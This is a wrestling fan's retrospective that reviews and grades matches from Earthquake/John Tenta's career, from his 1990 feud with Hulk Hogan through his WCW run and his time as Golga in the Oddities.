This is Hogan’s big return after being gone all summer due to an attack by Earthquake which broke his ribs. They lock up but Hogan can’t shove the big man around. Now Quake shoves him down a few times as Jimmy is losing his mind. Quake shoulders him out to the floor and Hogan takes a breather with Bossman. Back in and Hogan tries pounding away but Quake sends him into the corner to take him back down. Hogan gets a boot up in the corner and nails some clotheslines but Quake won’t go down.

After knocking Bravo and Hart off the apron, Hogan finally drops Earthquake with the big windup punch. All four guys get inside and the heels both take big boots to the face. The referee puts Bossman out though, allowing Bravo and Quake to hit a double slam on Hogan. A big elbow drop keeps Hogan down and a top rope forearm (from the 468lb Earthquake) to the back has Hogan down again. Off to a Boston Crab but Hogan tries to push his way out. That doesn’t work so Hogan looks to his left and realizes he’s about four inches from the rope for the break.

Bravo gets in some cheap shots on the floor but Earthquake misses an elbow drop back inside. Hogan finally gets to his feet (sidenote: Roddy Piper should not be allowed to cheer for Hogan. Ever.) but falls back down on a slam attempt. Off to a bearhug by Earthquake as the match slows down. Hulk punches out of it and tries a cross body like a schnook, earning the powerslam he gets as a result. Earthquake drops a pair of Earthquake splashes (seated sentons) but Hogan gets up at two to shock the crowd.

It’s Hulk Up time and there’s the slam but Dino distracts the referee after the legdrop. Jimmy comes in but gets tossed at Earthquake, sending everyone to the floor. Hart accidentally hits Quake with the Megaphone and Hogan slams the big man onto a table (it’s in Philadelphia after all)….for a countout? For the life of me I have no idea why Hogan didn’t get a pin here. I guess they wanted to save that for house shows, but it’s not like people wouldn’t want to see Hogan do it again live.

Rating: B-. The match itself was nothing of note but this is exactly what the fans wanted to see other than Hogan getting a pin. These two feuded on the house show circuit for the next four months or so, which really is amazing when you consider how basic the angle was that set it up. This falls into the fun category which is fine for a show like this.

Post match Quake chokes Hogan until Bossman blasts him in the back with a STEPLADDER. Quake finally drops him and looks at Bossman so the cop pulls out the nightstick to chase them off. Lots of posing ensues as you can see the house show rematches with any combination of these four guys being made up.)

They would keep it going at Survivor Series 1990.

Natural Disasters vs. Hulkamaniacs

Earthquake, Dino Bravo, Haku, Barbarian
Hulk Hogan, Big Bossman, Tugboat, Jim Duggan

There’s some actual drama here as Hogan had never beaten Earthquake before this and the other guys balance out somewhat well. Haku vs. Duggan start us off as the announcers talk about the Grand Finale. It’s such a different time when they automatically know who is going to be on what side. Today you would be waiting on the swerve. Duggan pounds away on Haku and a clothesline gets two.

Bravo and Barbarian come in to get some shots but it’s quickly off to Boss Man vs. Haku. Haku dropkicks him down for two but the Boss Man Slam puts Haku out quick. Barbarian comes in next and Boss Man runs him over. Heenan gets taken off the apron and Boss Man punches Barbarian a bit before walking into a suplex. Barbie misses a middle rope elbow and it’s off to Duggan vs. Bravo. Scratch that as Earthquake makes a blind tag and crushes Duggan in the corner. Duggan keeps trying to knock Quake down but Jimmy low bridges him. Duggan brings the board in with him and hits Quake for the DQ.

It’s Hogan vs. Earthquake but Hulk beats up all three guys because he can. Hogan easily slams Earthquake and fires off ten punches in the corner. Quake comes back with a powerslam and tags in Bravo who stomps away before getting small packaged for the pin. There’s the tag to Boss Man who hits his rapid fire punches in the corner. Boss Man goes up for a cross body and oh my goodness Earthquake caught him. That is SCARY. Hogan shoves Boss Man on top of him for two but Barbarian kicks Boss Man in the back to put him down. An elbow from Earthquake eliminates Boss Man.

Hogan vs. Quake again and Hulk tries to drop the big guy. Hulk tries another slam but can’t get Quake up. The third attempt results in Quake falling on Hogan for two. Hulk avoids an elbow and there’s the tag to Tugboat, causing everyone to shout TOOOOT which sounds like booing. Hogan pulls Earthquake to the floor and Quake and Tugboat get counted out. That leaves Hogan vs. Barbarian and the only thing I can think to say is “really?” Barbarian goes after Hogan on the floor and doesn’t hit a piledriver well at all. It gets two and they clothesline each other. Barbarian hits the top rope clothesline, Hulk Up, legdrop, done.

Rating: C-. This was a lot more fast paced and energetic than you would expect. The continued practice of just teasing the encounter that the match is based on is getting REALLY old though as I guess they want to preserve the house show draws, because who would want to see a feud continue after a single match right? My goodness have things changed in the last twenty years.

And one more time on the Main Event V.

Hulk Hogan/Tugboat vs. Dino Bravo/Earthquake

Hogan gets a very solid pop and is the only one of the four to get a reaction at all. According to Vince, Quake and Bravo weigh about 1,300 pounds between them. Think Vince is a bit shaky here for some reason? That’s not rhetorical actually as he’s normally more composed than this. Hogan cleans house on Bravo to start. Bravo and Tugboat are in now and this isn’t going to be pretty.

Bravo actually gets an atomic drop and a very good one all things considered. Hogan vs. Quake now, which is a somewhat big feud still at this point. The slam hits on the first try which is something different for the bald one. Quake gets a nice jump kick that looked pretty good for a man his size. The boating enthusiast gets beaten down as we wait on Hogan to get the tag.

Megaphone to the head ends any momentum he had and we take a break. Warrior is still the symbol on the graphic despite having lost the title and not even being on the card here. The referee misses the tag after the break and Tugboat takes a double slam. Hogan blocks the flying fat drop and we get the hot tag finally. Oddly enough Hogan hits the boot on Bravo and rolls him up for the pin instead of the standard finish.

Rating: D+. Totally standard house show main event here. This wasn’t supposed to be anything epic at all and it definitely wasn’t. These shows were designed to get the top feuds on TV and on occasions like this one, ending the feuds once and for all since Hogan had nothing else to do with any of these guys after this. Nothing great at all but fine for what it was.

Since Hogan had thrashed him all over the place for six months, Earthquake switched over to someone he could actually beat at Wrestlemania VII.

Earthquake vs. Greg Valentine

Valentine turned face a few months ago and this is his big match for the forces of good. We’re 20 seconds in and Valentine is getting powerslammed down for two. A splash misses in the corner and Valentine gets him down to one knee. Quake breaks the Figure Four twice, hits a big elbow and drops the Earthquake for the pin.

Rating: F+. Earthquake was pretty much done as a singles guy at this point but I’m assuming he got some shots at Hogan on house shows over the summer. Other than that though this was a filler match that didn’t need to be on the card at all. Nothing to see here but at least Quake looked dominant.

After this it was time for the most successful period for Earthquake (as far as titles went at least) as he teamed up with Typhoon (the former Tugboat) as the Natural Disasters. One of their first major matches was at Summerslam 1991.

Natural Disasters vs. Bushwhackers

Andre looks terrible here and would be dead in less than 18 months. The Whackers sneak up on the big men on the floor and poke them in the eyes. We finally start with Butch vs. Typhoon and the big man being bitten on the trunks. Earthquake tries to come in but splashes his own partner by mistake. A double clothesline puts Quake down and the Bushwhackers are in full control.

Earthquake finally realizes he weighs more than both Bushwhackers put together and pounds Butch down with a few shots to the back. Heenan makes an obscure Newhart reference as Quake slams Butch into the corner but misses an elbow drop to the back. The second attempt connects though and it’s off to Typhoon for more fat man offense.

Off to an over the shoulder backbreaker on Butch which transitions into a bearhug by Earthquake. Heenan leaves to go find Hogan and embarrass him which we’ll get to later. Quake finally hits Typhoon with a clothesline by mistake as everything breaks down. The Bushwhackers hit Battering Rams on both Disasters but it’s finally the big men crushing Luke and the Earthquake for the pin.

Rating: D-. This was a waste of time and everyone knew it was going to be from the moment the bell rang. The Bushwhackers were the epitome of comedy bumpkins and there’s nothing wrong with that. I’m not sure why they picked them of all teams for Andre to back and the match was horrible.

Here’s a Wrestling Challenge match from some point in 1991. It’s before November at least.

Natural Disasters vs. The Rockers

The Rockers are less than two months away from splitting here, meaning they’re about at their peak as a team. Shawn vs. Typhoon to get things going with the small guy not having any effect at all. Off to Marty vs. Earthquake for a change of pace as the big man crushes him in the corner. The powerslam looks to set up the Earthquake Splash but Shawn makes a last second save.

Typhoon comes in but can’t catch up to Marty, allowing Shawn to come in with a slingshot kick to the chest. Jannetty dives off Typhoon but gets caught in mid air by Earthquake. Shawn makes a save but Marty dropkicks Earthquake’s back, crushing him into Shawn to crush him in the corner. Marty goes after Jimmy Hart, allowing the big Typhoon Splash to crush Shawn for the pin.

Rating: D+. More storytelling than anything else here and that’s fine. The Rockers were in way over their heads here given the size and power of the Disasters and they were headed for a split anyway. This was just a Wrestling Challenge main event so you can’t really expect much out of it anyway.

The team eventually turned face and got a Tag Team Title shot on July 20, 1992.

Tag Titles: Money Inc. vs. Natural Disasters

Don’t you see the connection here? This would be before Mania as Jimmy is with DiBiase and IRS here, despite being with Hogan and Beefcake earlier. Yeah that’s not confusing at all. Irwin’s promo implies this is after April 15 but that wouldn’t add up at all so maybe that’s an error. The champions, Money Inc, tries to leave before the match starts but that gets nowhere. Typhoon and DiBiase start us off.

Everyone goes in there at once and the fat guys do nothing but corner splashes for about two minutes. They follow this up with a BIG splash, just to add some variety. They try it again and Quake misses and hits the floor. No earthquake from it but whatever. DiBiase chokes him with a rope from somewhere. Nothing of note going on here as it’s mainly just punches and kicks.

LONG beatdown segment on Earthquake as the heels do their evil deeds. Crowd is relatively dead here until Quake hits a hiptoss and STILL doesn’t make the tag. We get a comparison of Earthquake to Undertaker which is a matchup that could have been interesting if the timing had been right. Quake was getting to the point of not mattering when Taker arrived.

Tag by Quake doesn’t count since the referee didn’t see it. Double clothesline by Quake as Hart is described as a monkey on helium. Hot tag to Typhoon and the crowd wakes up a little bit. Everything breaks down and the referee tries to get Hart out of the ring. IRS blasts DiBiase in the face with the briefcase and Earthquake drops an elbow….FOR THE PIN? This actually looks like the title change and with nothing else happening…yeah that was a title change.

Rating: D+. Boring match but the crowd popped for the title change, I think due to shock more than anything else. This was their only title reign as they would lose the belts back to Money Inc in about three months. The match was pretty bad but a title change back then was always a good thing. This was a house show mind you, so it’s not like this was well known or anything, making it an actual rarity.

And now a title defense from Summerslam 1992.

Tag Titles: Natural Disasters vs. Beverly Brothers

The Brothers are managed by the Genius and are challenging here. Genius messes up his poem by getting some dates wrong but the fans are already cheering for the fat champions anyway. The challengers try to jump the big guys early on but the champions take their heads off with clotheslines. Both Brothers (Beau and Blake) are crushed in a fat man sandwich, leaving us with Typhoon to start against Blake.

Typhoon pounds away on the smaller man but Blake manages to lift him up for a slam. He can’t turn it over but it was a nice try at least. Everything breaks down for a few seconds until we’re back to more Disaster dominance. Quake accidentally splashes Typhoon in the corner and the ocean themed guy is down. The Brothers double team Typhoon with a splash but he launches Beau to the floor on the kickout.

Hang on a second: Shawn Michaels has left Wembley Stadium!

Back to the match with Blake hitting a middle rope headbutt for a delayed two. Beau holds Typhoon on the ropes so Blake can jump on his back in a move later used by Charlie Haas and Shelton Benjamin. The Brothers take turns pounding on Typhoon and draw Earthquake in, allowing them to double team Typhoon even more. A headbutt gets two for Blake and it’s off to a front facelock.

Typhoon finally makes a tag but the referee doesn’t see it, likely due to being bored by the match so far. Beau drops an ax handle onto Typhoon’s back but the big man FINALLY clotheslines both Beverlies down but stops to slam Beau instead of tagging out. Blake dropkicks his brother into a cross body on Typhoon for two and Quake has had enough. His save attempt is broken up by Genius’ metal scroll to Typhoon’s back as this match just keeps going. Quake breaks up he cover and gets the hot tag to clean house. A powerslam and the Earthquake are enough to retain the titles.

Rating: D. This just wouldn’t stop as the Brothers got WAY too much offense in here. The problem is the same as it was last year: there was no doubt as to who was walking out with the belts and that makes for a rather boring match. Also, the Beverlies are pretty average size guys so there’s only so much they can do against people like the Disasters.

One more WWF singles match after the team broke up. From November 24, 1992.

Repo Man vs. Earthquake

Uh…sure. I wonder why this was considered a good match. Maybe it wasn’t I don’t know. Going from Smash to Repo Man is one of the best character changes ever. I was STUNNED when I found out they were the same person. This is mostly Quake of course. Crowd is bored to put it nicely.

Earthquake was an interesting case as he went from evil monster that put Hogan on the shelf for the better part of the summer but once he turned on Jimmy Hart he was awesome. The fans always seemed like they wanted to cheer him but weren’t sure if that was ok or not. They do here though and the Earthquake finishes Repo. Short but harmless I guess.

Rating: D+. I said it was harmless but I didn’t say it was any good. One thing that does have to be considered with these is that they’re just dark matches or house show matches thrown on a tape with no real tying theme. For a match just thrown on a card before a TV taping or something like that, this would have been fine I guess. It’s far from good, but it would have been ok for a quick 5-6 minute match to entertain an audience.

After leaving the WWF it was back to Japan, including this match on December 15, 1993 in the WAR promotion.

John Tenta vs. Warlord

A lockup doesn’t get either guy anywhere and neither does a Warlord headlock. Shoulder blocks have no effect either so Earthquake jumps up and down a bit. Warlord slams him down to a BIG pop and even the ring announcer says something. Now the shoulder block works, but Earthquake one ups him with a dropkick. This is a really slow match for the most part. An elbow drop gets two on Warlord but he actually suplexes Earthquake down in a very impressive display of strength.

Earthquake heads to the floor where he drives Warlord into the post. Warlord avoids a charge up against the post but it doesn’t seem to hurt the bigger guy all that much. Instead Earthquake comes back with some splashes in the corner and a powerslam followed by the Earthquake Splash….for two?

The fans are into Warlord now but it’s off to a bearhug to slow him down. Warlord fights out with right hands and takes Quake down with a big shoulder. A nice belly to back drops Earthquake but he’s too fat to slam. Earthquake gets two off a legdrop before getting the pin off a running clothesline and covering the shoulders with all of his weight.

Rating: C-. This was getting going but the ending really felt like a screeching halt. It’s so strange to see the Warlord getting face reactions after so many years as a heel in the WWF. Earthquake was the kind of guy that could make a crowd care about his really basic offense and he showed it here really well.

It was off to WCW about a year later where Earthquake would be called Avalanche because that was what WCW thought was legal. He would be put into a feud with Hulk N Pals (shocking I know), including this match at Clash of the Champions XXX.

Sting vs. Avalanche

It’s a Starrcade rematch and Guardian Angel is guest referee. Avalanche jumps him to start but is quickly dropkicked to the floor and onto some chairs. Tony and Bobby notice that Flair is suddenly nowhere to be seen though his girls are still there. Back in and Avalanche runs him over before just standing on Sting’s chest.

A big elbow has Sting in trouble but Avalanche stops to pose. He takes Sting into the corner and rams the 450lb+ into Sting’s chest. The powerslam gets two but Sting accidentally headbutts Avalanche low to come back. Three straight Stinger Splashes rock the big man and there’s a fourth, setting up a slam and the Scorpion Deathlock. Guardian Angel gets down to check for the submission but referee Nick Patrick runs out to call it instead.

Rating: D+. Sting throwing around big men is always cool to see, but Avalanche is rapidly turning into a joke. Yeah he can hit some nice power moves but he’s lost every match on the Clash so far. He’s just a big guy that doesn’t win anything and that makes it hard to get into his matches.

After that whole gimmick became a mess (and Avalanche became a Shark), he would finally get sick of it and just become John Tenta, who would face Big Bubba Rogers at Great American Bash 1996.

Big Bubba vs. John Tenta

Oh dear. This is over the Dungeon of Doom, who was one of the worst big stables ever, cutting half of Tenta’s hair and goatee. Tenta was supposed to be a big face or something I guess but of course nothing ever came of it. These two have the exact same style so this isn’t going to work. Non American object gets Bubba in control. Soon thereafter, I see some interesting looking paint on the wall and I lose my focus. Thank`fully this is about five and a half minutes and ends with Tenta slamming Bubba. Afterwards he cuts off Bubba’s beard.

Rating: D. Again, there’s no point to this match. It’s just two guys beating on each other and no one cares at all. Tenta never did a thing in WCW and would be gone very soon to be Golga in the Oddities in WWF. Bubba would turn face after the NWO beat on him. Seriously, why was this on pay per view?

No real story to this one, but it was against a big name on Nitro from September 9, 1996.

John Tenta vs. Randy Savage

Tenta’s music would become Jericho’s in about two years. Savage hits the ring and is stomped down by Tenta quickly. Eric has to say that Meng works for WCW and not WWF as Haku to avoid legal issues. That’s how messed up things were back then. Savage pops Tenta with a chair and that’s cool too. There’s the elbow and a second one as Teddy Long comes out, saying they’re in the back. Savage runs off to huge booing and is counted out also. Too short to rate but it was in essence a Savage squash.

It was back to the WWF in 1998 as a masked man named Golga who was obsessed with Eric Cartman. The biggest match of the run was at Summerslam 1998.

Insane Clown Posse plays the Oddities to the ring to a HUGE reaction.

Oddities vs. Kaientai

The Oddities are Golga (Earthquake under a mask), Giant Silva (Great Khali’s size and about a tenth of the skill) and Kurrgan (uh….yeah). Kaientai is a four man heel team here and not the comedy guys they would become in a year or so. Golga starts with Light Heavyweight Champion Taka Michinoku and the big man rams his own head into the buckle for some reason. He shoves down all four members of Kaientai as we’re firmly in comedy match territory.

Golga steals Kaientai’s manager Yamaguchi-San’s shoes and blasts various people with it before it’s off to the dancing Kurrgan. He gets on his knees to fight Funaki in a funny bit before dancing even more. Three of the four Japanese guys swarm Kurrgan to no effect as he cleans house anyway. Yamaguchi-San is shoved down again and it’s off to Silva to clean the little bit of the house which isn’t taken care of yet.

Kaientai gets in a fight over who comes in but it’s Dick Togo (Best name EVER) who gets the job. All four guys come in again but they can’t combine to lift Silva’s legs. Silva sends all four of them into the corner and crushes them at once before Kurrgan comes in to whip one into the other three. Silva throws Taka over the top onto the other three as this is complete dominance. Back in and Golga tries a seated senton on Mens Teioh but Taka and Togo hit a double dropkick to stagger him.

Two members of the team combine to slam him and four straight top rope splashes followed by four straight legdrops get no cover. A quadruple dropkick has Golga in trouble but a quadruple clothesline puts Kaientai down. The hot tag brings in Kurrgan who takes down everyone in sight and hits a wicked side slam on Funaki. Everything breaks down as managers Luna Vachon and Yamaguchi-San get in a fight. A quadruple chokeslam is good for the pin by Golga on everyone from Japan.

Rating: C-. The match was nothing but comedy, it was overly long, Golga is the only Oddity that could do a thing in the ring…..and I can’t help but love the Oddities. There’s just something so innocently goofy about them that I smile every time I see Kurrgan do his dance. The match sucked but it has no expectations coming in so it’s completely harmless.

One more for the road. From Raw, November 2, 1998.

Oddities vs. Mankind/Al Snow

Golga/Kurrgan here. ZZ Top is here. Mankind and Kurrgan start and we get a dance off until Snow jumps Kurrgan from behind. Off to Snow who has a bit less success. Snow fires off some kicks to the legs and Kurrgan goes down before Mankind comes back in. Golga comes in with a splash in the corner and an elbow drop for two. A side slam from Kurrgan gets the same as we’re told Vince is yelling at the Fink.

Mankind grabs a double arm DDT on Kurrgan and reaches for Socko, but he’s not there. Snow hits Kurrgan in the head with Head as Mankind leaves in panic. Snow walks into a bad Bossman Slam from Kurrgan. Snow makes both Oddities miss a few times but Kurrgan chokeslams him and the Earthquake gets the pin.

Rating: D+. This was a comedy match at times and a major upset at the end. Well maybe not major but still an upset. Kurrgan is a total guilty pleasure for me and when he’s in there with my all time favorite, what else am I going to say here other than it wasn’t all bad. This was nothing great but I had to like it a bit given who was in there.

Earthquake is another one of those guys that used what he had and got it over despite being a giant like so many others had been before him. His run with Hogan made him the top heel in the company for a good while and that’s pretty high praise when Hulkamania was still a big thing. His WCW run kind of sucked but he was long past his peak by that point. Still though, his best times were pretty good and he had a pretty lengthy career.

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